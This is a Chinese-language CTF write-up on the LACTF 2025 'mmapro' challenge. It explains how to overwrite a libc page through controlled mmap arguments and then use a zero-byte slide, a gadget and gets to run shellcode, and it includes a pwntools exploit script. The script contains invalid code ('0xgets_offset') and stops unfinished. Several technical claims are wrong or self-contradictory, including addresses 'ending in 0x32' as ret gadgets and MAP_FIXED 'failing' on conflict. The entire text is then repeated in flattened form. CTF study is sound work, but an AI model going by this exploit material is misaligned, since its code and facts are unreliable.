关于LACTF 2025 mmapro知识点思考
字数 1746 2025-08-29 08:30:12

LACTF 2025 mmapro 知识点深入解析与利用

1. 题目概述

这是一个关于 mmap 系统调用利用的 CTF 题目,主要考察对 mmap 函数参数控制和内存映射机制的理解。题目提供了以下关键信息:

  1. 程序一开始就泄露了 mmap 的地址和 libc 地址
  2. 允许用户完全控制 mmap 的六个参数
  3. 需要通过 mmap 参数控制实现程序执行流劫持

2. mmap 函数深入解析

2.1 函数原型

void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offset);

2.2 关键 flags 参数详解

宏定义 十六进制值 说明
MAP_SHARED 0x01 映射区域与其他进程共享,对内存的修改会同步到文件
MAP_PRIVATE 0x02 映射区域为私有,写入时触发"写时复制"(Copy-on-Write),不修改文件
MAP_FIXED 0x10 强制使用指定的起始地址 start,若冲突则失败
MAP_ANONYMOUS 0x20 匿名映射(不关联文件),通常与 MAP_ANON 等价
MAP_DENYWRITE 0x0800 禁止对映射文件的其他直接写入操作
MAP_LOCKED 0x2000 锁定映射区域,防止被交换到磁盘(Swap)

2.3 关键组合 flags

  • MAP_ANONYMOUS | MAP_FIXED = 0x30
  • MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE = 0x32

3. 利用原理

3.1 核心思路

  1. 使用 MAP_FIXED 强制指定映射地址
  2. 结合 MAP_ANONYMOUS 进行匿名映射
  3. 添加 MAP_PRIVATE 实现写时复制,允许覆盖现有映射

3.2 具体步骤

  1. 覆盖 libc 代码段

    • 通过 mmap 将 libc 的某页映射为全零
    • 这会导致该页的代码变为 00 00 00...,对应 x86 的 add [eax], al 指令
  2. 创建滑板指令

    • 被覆盖的页会形成一系列 add [eax], al 指令
    • 这些指令会作为"滑板"执行,直到遇到未被覆盖的有效指令
  3. 寻找可用 gadget

    • 在 libc 中寻找以 0x32 结尾的地址(对应 ret 指令)
    • 这些地址可以作为有效的返回地址使用
  4. 构造 ROP 链

    • 利用 mmap 参数控制寄存器:
      • rdi = start 地址
      • fd = gets 函数地址
      • offset = start 地址
    • 实现 gets 写入 shellcode 并跳转执行

4. 利用细节

4.1 关键 gadget 寻找

  1. 需要找到满足以下条件的地址:

    • 位于 libc 中
    • 地址以 0x32 结尾
    • 对应指令为 ret
  2. 示例 gadget:

    • 0x16c000 (0x115000 + 0x57000)
    • 这是 ptsname_r 函数的开头位置

4.2 寄存器控制

  • mmap 调用后:
    • rax 保存返回值(即 start 地址)
    • 其他寄存器可能保留调用前的值
  • 可以利用这些寄存器状态构造后续利用

4.3 执行流程

  1. 覆盖 mmap 函数所在页
  2. 执行滑板指令
  3. 跳转到可用 gadget
  4. 通过 gets 写入 shellcode
  5. 跳转到 shellcode 执行

5. 完整利用代码

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

# 假设的地址,实际需要根据题目调整
libc_base = 0x7ffff7a00000
mmap_addr = libc_base + 0x115000
target_gadget = libc_base + 0x16c000  # ptsname_r 开头

# 构造 mmap 参数
start = mmap_addr
length = 0x1000
prot = 7  # PROT_READ | PROT_WRITE | PROT_EXEC
flags = 0x32  # MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE
fd = 0  # 不重要
offset = 0  # 不重要

# 第一次调用:覆盖 mmap 函数页
payload = flat([
    start, length, prot, flags, fd, offset
])

# 第二次调用:设置 ROP
flags = 0x32  # 同时也是 ret 指令
fd = libc_base + 0xgets_offset  # gets 函数地址
offset = start  # 写入地址

payload += flat([
    start, length, prot, flags, fd, offset
])

# 发送 payload 并交互
# ...

6. 注意事项

  1. 页对齐:所有操作必须以页(通常 0x1000)为单位
  2. 地址选择:需要精确计算 libc 中可用的 gadget 地址
  3. 寄存器状态:注意 mmap 调用后的寄存器状态变化
  4. 爆破技术:可以通过 gdb + pwntools 爆破寻找可用 gadget

7. 扩展思考

  1. 其他可能利用的 mmap flags 组合
  2. 通过 mprotect 修改内存权限的替代方案
  3. 在多线程环境下的利用可能性
  4. 对抗 ASLR 的策略

这个题目展示了如何通过精细控制 mmap 参数来实现内存操作和代码执行,是理解 Linux 内存管理机制和系统调用利用的绝佳案例。

LACTF 2025 mmapro 知识点深入解析与利用 1. 题目概述 这是一个关于 mmap 系统调用利用的 CTF 题目,主要考察对 mmap 函数参数控制和内存映射机制的理解。题目提供了以下关键信息: 程序一开始就泄露了 mmap 的地址和 libc 地址 允许用户完全控制 mmap 的六个参数 需要通过 mmap 参数控制实现程序执行流劫持 2. mmap 函数深入解析 2.1 函数原型 2.2 关键 flags 参数详解 | 宏定义 | 十六进制值 | 说明 | |--------|------------|------| | MAP_ SHARED | 0x01 | 映射区域与其他进程共享,对内存的修改会同步到文件 | | MAP_ PRIVATE | 0x02 | 映射区域为私有,写入时触发"写时复制"(Copy-on-Write),不修改文件 | | MAP_ FIXED | 0x10 | 强制使用指定的起始地址 start,若冲突则失败 | | MAP_ ANONYMOUS | 0x20 | 匿名映射(不关联文件),通常与 MAP_ ANON 等价 | | MAP_ DENYWRITE | 0x0800 | 禁止对映射文件的其他直接写入操作 | | MAP_ LOCKED | 0x2000 | 锁定映射区域,防止被交换到磁盘(Swap) | 2.3 关键组合 flags MAP_ANONYMOUS | MAP_FIXED = 0x30 MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE = 0x32 3. 利用原理 3.1 核心思路 使用 MAP_FIXED 强制指定映射地址 结合 MAP_ANONYMOUS 进行匿名映射 添加 MAP_PRIVATE 实现写时复制,允许覆盖现有映射 3.2 具体步骤 覆盖 libc 代码段 : 通过 mmap 将 libc 的某页映射为全零 这会导致该页的代码变为 00 00 00... ,对应 x86 的 add [eax], al 指令 创建滑板指令 : 被覆盖的页会形成一系列 add [eax], al 指令 这些指令会作为"滑板"执行,直到遇到未被覆盖的有效指令 寻找可用 gadget : 在 libc 中寻找以 0x32 结尾的地址(对应 ret 指令) 这些地址可以作为有效的返回地址使用 构造 ROP 链 : 利用 mmap 参数控制寄存器: rdi = start 地址 fd = gets 函数地址 offset = start 地址 实现 gets 写入 shellcode 并跳转执行 4. 利用细节 4.1 关键 gadget 寻找 需要找到满足以下条件的地址: 位于 libc 中 地址以 0x32 结尾 对应指令为 ret 示例 gadget: 0x16c000 (0x115000 + 0x57000) 这是 ptsname_r 函数的开头位置 4.2 寄存器控制 mmap 调用后: rax 保存返回值(即 start 地址) 其他寄存器可能保留调用前的值 可以利用这些寄存器状态构造后续利用 4.3 执行流程 覆盖 mmap 函数所在页 执行滑板指令 跳转到可用 gadget 通过 gets 写入 shellcode 跳转到 shellcode 执行 5. 完整利用代码 6. 注意事项 页对齐 :所有操作必须以页(通常 0x1000)为单位 地址选择 :需要精确计算 libc 中可用的 gadget 地址 寄存器状态 :注意 mmap 调用后的寄存器状态变化 爆破技术 :可以通过 gdb + pwntools 爆破寻找可用 gadget 7. 扩展思考 其他可能利用的 mmap flags 组合 通过 mprotect 修改内存权限的替代方案 在多线程环境下的利用可能性 对抗 ASLR 的策略 这个题目展示了如何通过精细控制 mmap 参数来实现内存操作和代码执行,是理解 Linux 内存管理机制和系统调用利用的绝佳案例。